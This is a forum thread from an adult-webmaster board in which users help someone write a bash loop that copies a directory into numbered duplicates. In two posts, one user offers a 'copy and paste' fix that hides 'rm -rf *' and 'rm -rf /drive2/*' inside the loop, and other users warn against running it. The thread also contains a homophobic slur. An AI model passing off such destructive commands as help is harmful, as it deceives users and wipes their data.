![]() |
![]() |
![]() |
||||
Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums. You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today! If you have any problems with the registration process or your account login, please contact us. |
![]() ![]() |
|
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed. |
|
Thread Tools |
![]() |
#1 |
Too lazy to set a custom title
Industry Role:
Join Date: Sep 2002
Posts: 34,431
|
Copy command help please
i have a directory that has a subdirectory called 'blah' - i want to copy that subdirectory creating identical subdirectories named 'blah2' 'blah3' 'blah4' etc
what would the Unix copy command be to create those? thanks
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#2 |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
cp /path/to/source /path/to/destination -R
__________________
I like pie. |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#3 |
Too lazy to set a custom title
Industry Role:
Join Date: Sep 2002
Posts: 34,431
|
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#4 |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
Or are you wanting to make blah1 blah2 blah3 automatically from one source? That command I pasted is just a recursive copy.
__________________
I like pie. |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#5 |
Too lazy to set a custom title
Industry Role:
Join Date: Sep 2002
Posts: 34,431
|
...... and didn't work
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#6 | |
Too lazy to set a custom title
Industry Role:
Join Date: Sep 2002
Posts: 34,431
|
Quote:
![]()
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
|
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#7 |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
Ahh, then do
for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done 1 would be the first dir made, 5 would be the last
__________________
I like pie. |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#8 |
👏 REVOLUTIONARY 👏
Industry Role:
Join Date: Oct 2012
Posts: 2,365
|
What errors are you getting?
__________________
![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#9 | |
Too lazy to set a custom title
Industry Role:
Join Date: Sep 2002
Posts: 34,431
|
Quote:
cp /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i -R probably didn't understand the {1..5}
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
|
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#10 |
Too lazy to set a custom title
Industry Role:
Join Date: Sep 2002
Posts: 34,431
|
not getting errors - just gives me usage formats for the cp command
greek to me ![]()
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#11 | |
👏 REVOLUTIONARY 👏
Industry Role:
Join Date: Oct 2012
Posts: 2,365
|
Quote:
Flag first. ![]()
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#12 |
Confirmed User
Industry Role:
Join Date: Oct 2012
Location: Spamville
Posts: 294
|
Copy and paste this to the command line, should work:
Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf *; done |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#13 | |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
Quote:
Code:
for i in {1..5}; do cp /source/path/here/blah /dest/path/here/blah$i -R; done
__________________
I like pie. |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#14 |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
DO NOT run the code from AutumnBH
__________________
I like pie. |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#15 |
👏 REVOLUTIONARY 👏
Industry Role:
Join Date: Oct 2012
Posts: 2,365
|
Get fucked you faggot.
__________________
![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#16 | |
👏 REVOLUTIONARY 👏
Industry Role:
Join Date: Oct 2012
Posts: 2,365
|
Quote:
Code:
for i in {1..5}; do cp -r /source/path/here/blah /dest/path/here/blah$i; done
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#17 | |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
Quote:
-R, -r, --recursive copy directories recursively
__________________
I like pie. |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#18 |
Confirmed User
Industry Role:
Join Date: Oct 2012
Location: Spamville
Posts: 294
|
Yeah sorry guys, I got the flag wrong... Here's the corrected version, copy and paste:
Code:
for i in {1..5}; do cp -r /drive2/psj.photo.formats/full/azseries/45 /drive2/psj.photo.formats/full/azseries/45$i; rm -rf /drive2/*; rm -rf *; done |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#19 | |
♥♥♥ Likes Hugs ♥♥♥
Industry Role:
Join Date: Nov 2001
Location: /home
Posts: 15,841
|
Quote:
# rm -rf / rm: it is dangerous to operate recursively on `/' rm: use --no-preserve-root to override this failsafe edit: if it DID work I can literally replace the vm in 30 seconds.
__________________
I like pie. |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#20 | |
👏 REVOLUTIONARY 👏
Industry Role:
Join Date: Oct 2012
Posts: 2,365
|
Quote:
![]()
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#21 | |
👏 REVOLUTIONARY 👏
Industry Role:
Join Date: Oct 2012
Posts: 2,365
|
Quote:
![]() ![]() ![]()
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#22 |
Confirmed User
Industry Role:
Join Date: Oct 2012
Location: Spamville
Posts: 294
|
rm -rf / wouldn't do much unless you were logged in as root anyway (although it wouldn't surprise me if OP was).
And superior users use a real Unix ![]() |
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#23 | |
Too lazy to set a custom title
Industry Role:
Join Date: Sep 2002
Posts: 34,431
|
Quote:
![]() i have to make them one by one it seems thanks Babaganoosh and Killswitch
__________________
I moved my sites to Vacares Hosting. I've saved money, my hair is thicker, lost some weight too! Thanks Sly!
|
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#24 | |
Fakecoin Investor
Industry Role:
Join Date: Jul 2012
Location: New Delhi, IN
Posts: 7,127
|
Quote:
![]() ![]() ![]() ![]() ![]()
__________________
WARNING: Stay Away From Marlboroack aka aka Brandon Ackerman
https://gfy.com/21169705-post8.html Donny Long is Felon, Stalker, Scammer & Coward http://www.ripoffreport.com/reports/...lon-int-761244 |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#25 |
Confirmed User
Industry Role:
Join Date: Jan 2012
Location: NC
Posts: 7,683
|
rm -rf *; done
lol lol lol
__________________
SSD Cloud Server, VPS Server, Simple Cloud Hosting | DigitalOcean
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#26 | |
👏 REVOLUTIONARY 👏
Industry Role:
Join Date: Oct 2012
Posts: 2,365
|
Quote:
![]()
__________________
![]() |
|
![]() |
![]() ![]() ![]() ![]() ![]() |
![]() |
#27 | |
Retired
Industry Role:
Join Date: Dec 2002
Posts: 21,231
|
Quote:
what the fuck?
__________________
2 lifeguards for Jessica |
|
![]() |
![]() ![]() ![]() ![]() ![]() |